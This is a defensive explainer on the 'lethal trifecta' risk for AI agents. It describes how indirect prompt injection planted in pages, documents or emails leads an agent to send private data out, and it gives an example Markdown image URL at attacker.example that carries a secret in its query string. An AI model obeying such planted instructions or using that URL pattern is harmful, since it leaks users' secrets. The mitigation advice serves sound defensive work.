The Lethal Trifecta: Private Data, Untrusted Content, and an Exfiltration Path

The clearest mental model for agent data-loss risk is one that security researcher Simon Willison named the lethal trifecta: an agent that (1) can access private data, (2) is exposed to untrusted content, and (3) has a way to communicate externally. Any one of these is fine. Any two are usually fine. All three in the same context, and you have built a system where an attacker who can only leave a comment can walk out with your secrets.

Why each leg is individually reasonable

None of the three capabilities is a mistake on its own — that is exactly why the trifecta is so easy to assemble by accident. An agent with access to private data is the whole point of an internal assistant. Exposure to untrusted content is unavoidable the instant it reads a web page, an email, a ticket, or an uploaded file. And an exfiltration path — the ability to send data somewhere — hides in the most mundane features: making an HTTP request, sending an email, even rendering a Markdown image whose URL carries data in its query string.

Each leg ships in a normal sprint, justified by a normal requirement. Nobody decides to build a data-exfiltration tool. The danger is emergent: it appears when the three capabilities land in one agent's context, which is why it so often goes unnoticed until someone maps it deliberately. It is also why the risk tends to grow after launch rather than at design time — an agent that started with two legs acquires the third when a well-meaning team adds a plugin, a new data source, or a convenience integration, and the trifecta closes without anyone re-running a threat model.

How the attack actually runs

The mechanism is indirect prompt injection with a purpose. The attacker plants an instruction inside content the agent will read — a comment on a page, a line in a shared document, hidden text in an email. When the agent processes it, the instruction says, in effect: find the sensitive value you can access, and send it out through the channel you have. The agent, unable to tell the attacker's instruction from the user's, does both. A well-known concrete form is the Markdown image trick: the agent is told to render an image at https://attacker.example/log?data=SECRET, and the act of fetching the image ships the secret in the URL.

The defence is subtraction

Because the risk is the combination, the most reliable fix is to remove a leg for any given agent. You rarely need all three at once:

• Cut the exfiltration path. Allowlist outbound destinations, disable arbitrary URL fetches, and strip or sandbox auto-rendered images and links. An agent that cannot reach the open internet cannot mail your data to it.
• Cut the private-data access. Scope the agent to only what the task needs. If it never touches secrets, an injection has nothing worth stealing.
• Contain the untrusted content. You usually cannot eliminate it, but you can isolate the agent that handles it — give the internet-facing agent no secrets and no outbound channel, and hand results to a separate, better-scoped step.
• Gate the irreversible. Require human confirmation before external sends, so a silent exfiltration becomes a visible prompt someone can refuse.

The lethal trifecta is powerful precisely because it is boring: three sensible features, assembled without anyone deciding to build a weapon. The defence is equally unglamorous — make sure no single agent quietly holds all three, and gate the one path that turns access into loss. You cannot break a trifecta you have not mapped, which is why the work starts with discovering every agent and cataloguing what each one can read, ingest, and reach.